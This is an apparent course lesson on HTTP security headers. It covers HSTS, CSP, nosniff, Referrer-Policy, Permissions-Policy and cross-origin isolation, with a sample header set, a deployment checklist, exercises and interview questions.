Header lab for a photo editor. Attacks: SSL strip on cafe Wi-Fi: open. fake HTTP subdomain: open: sets cookies. upload run as script: open. token leaks in Referer: open: full URL sent. injected script: mic: open: user is asked. opener probes window: open. Features: WebAssembly threads: breaks: no isolation. stock photos, no CORP: works. private avatars: works. partner sign-in popup: works. profile photo (camera): works. promo subdomain, HTTP: works.attacksfeaturesSSL strip on cafe Wi-Fiopenfake HTTP subdomainopen: sets cookiesupload run as scriptopentoken leaks in Refereropen: full URL sentinjected script: micopen: user is askedopener probes windowopenWebAssembly threadsbreaks: no isolationstock photos, no CORPworksprivate avatarsworkspartner sign-in popupworksprofile photo (camera)workspromo subdomain, HTTPworks
Blocks 0 of 6 attacks and breaks 1 of 6 features. Each broken feature is a migration task, for example: move the promo subdomain to HTTPS, switch sign-in to a redirect, or isolate only the editor route.

Testing what actually ships

  • Read the real response. DevTools Network panel, or curl -sI https://shop.example/some/page. Check an HTML page, a JS file, an API response, and a 404.
  • Scan it. Mozilla's HTTP Observatory, now on MDN, grades a site's headers and explains each finding.
  • Test it in CI. A small test that fetches a few URLs from a preview deploy and asserts the headers are present stops regressions when someone moves a route or changes the CDN config.

Check your understanding · Exercise 9

Your app sets headers in Express middleware. Static assets are served from a storage bucket through the CDN, and the CDN serves its own error pages. Where are headers likely missing? Select all that apply.

A checklist, and using it in an interview

Here is a sample header set for a typical logged-in web app: a dashboard with a few third-party scripts, a payment iframe, and no need for SharedArrayBuffer. Read each line against the chapter that explains it.

http
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self "https://pay.example")
Cross-Origin-Opener-Policy: same-origin-allow-popups
Cross-Origin-Resource-Policy: same-site
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store
The CSP line is covered in the CSP lesson. Cache-Control: no-store goes on private pages only.
The sample header set, one header per line, with notes. Strict-Transport-Security: HTTPS only for 2 years. Content-Security-Policy: covered in the CSP lesson. X-Content-Type-Options: no type guessing. Referrer-Policy: only the origin goes to other sites. Permissions-Policy: camera, microphone, and location off. Cross-Origin-Opener-Policy: same-origin-allow-popups, so popups still work. Cross-Origin-Resource-Policy: same-site, so only your site may embed. X-Frame-Options: fallback for old browsers. Cache-Control no-store: on private pages only.Strict-Transport-SecurityHTTPS only, 2 yearsContent-Security-Policysee the CSP lessonX-Content-Type-Optionsno type guessingReferrer-Policyorigin only to othersPermissions-Policycamera, mic, location offCross-Origin-Opener-Policypopups still workCross-Origin-Resource-Policysame site may embedX-Frame-Optionsold-browser fallbackCache-Control: no-storeprivate pages only
Nine lines, each closing one gap. The values are in the code block above; the notes say what each one buys.

The checklist

CheckValueWatch out for
HTTPS onlyStrict-Transport-Security with max-age of 1 to 2 yearsEvery subdomain on HTTPS before includeSubDomains and preload
No type guessingX-Content-Type-Options: nosniff on every responseStatic files served outside your app
URLs stay privateReferrer-Policy: strict-origin-when-cross-origin, no-referrer on secret URLsTokens in URLs leak through logs anyway
Features offPermissions-Policy listing every unused feature as ()Firefox and Safari don't enforce the header
Window separationCOOP: same-origin-allow-popups site-widesame-origin breaks cross-origin popups
Isolation, if neededCOOP: same-origin plus COEP: require-corp or credentiallessThird-party embeds without CORP or CORS
Resources protectedCORP: same-site on private API and asset responsesAssets you share with partners need cross-origin
Private pagesCache-Control: no-store, Clear-Site-Data on logoutLost bfcache on those pages
Old headersRemove X-XSS-Protection (or 0), Expect-CT, Public-Key-Pins, Feature-PolicyCopied configs from old blog posts

In real products

  • Google puts whole top-level domains like .app and .dev on the preload list, so every site on them is HTTPS-only from the first request.
  • User content on separate domains: GitHub serves raw files from githubusercontent.com and Google from googleusercontent.com, so an uploaded file can never run on the main origin.
  • WebAssembly-heavy apps such as Photoshop on the web and StackBlitz's in-browser Node.js runtime (WebContainers) use threads, so they need cross-origin isolation for SharedArrayBuffer.
  • Frameworks ship baselines: Helmet for Express sets most of this lesson's headers by default, including X-XSS-Protection: 0.

Bringing it up in a system design interview

Security headers rarely deserve their own section in a frontend system design interview, but they are a quick way to show depth when the interviewer asks about security or non-functional requirements. Name the threat, then the header, then the trade-off. Thirty seconds is usually enough.

  • Junior and mid-level: name HSTS, nosniff, Referrer-Policy, CSP, and frame protection, and say where they're set (CDN or middleware, on every response).
  • Senior: add the rollout story (HSTS max-age stages, preload risks), per-route headers (no-store on private pages, COEP only where needed), and testing in CI.
  • Staff: tie headers to architecture: user uploads on a separate origin, isolation as a requirement for WebAssembly threads and what it costs third-party embeds, report-only rollouts with a reporting endpoint, and owning headers in one shared layer across teams.

Check your understanding · Exercise 10

A team copies the sample header set above onto a news site that embeds YouTube videos, social posts, and ads, and considers adding more. Which choices need a second look? Select all that apply.

Summary

  • Security headers are opt-in rules the browser enforces on your behalf, even when your page's own code is compromised. They are defense in depth, not a replacement for fixing bugs.
  • HSTS is the only one the browser remembers per host. Every other header must be on every response, which is why they belong in a layer every response passes through.
  • Roll out HSTS in stages; add includeSubDomains and preload only after every subdomain works over HTTPS, because preload removal takes months.
  • Send nosniff everywhere, Referrer-Policy: strict-origin-when-cross-origin as the baseline, and a Permissions-Policy that turns off every feature you don't use.
  • COOP: same-origin-allow-popups and CORP on your resources are cheap. Full cross-origin isolation (COOP plus COEP) unlocks SharedArrayBuffer and precise timers but can break third-party embeds; isolate only the routes that need it.
  • Private pages get Cache-Control: no-store; logout sends Clear-Site-Data and invalidates the session on the server.
  • Retire X-XSS-Protection (or set 0), Expect-CT, Public-Key-Pins, and Feature-Policy. Test real responses in CI, including static files and error pages.

In the interview

Questions interviewers ask about this. Answer each out loud first, then compare.

Question 1

What does HSTS protect against, and why is the preload list both useful and risky?

Question 2

Why send X-Content-Type-Options: nosniff if your server already sets correct content types?

Question 3

A product team needs SharedArrayBuffer for a WebAssembly video encoder. What do you change, and what breaks?

Question 4

How would you make sure security headers are on every response in a large app with many teams?

Question 5

What should happen at logout from a security point of view, beyond deleting the cookie?

Practice it

These design problems lean on security headers.

References

Read next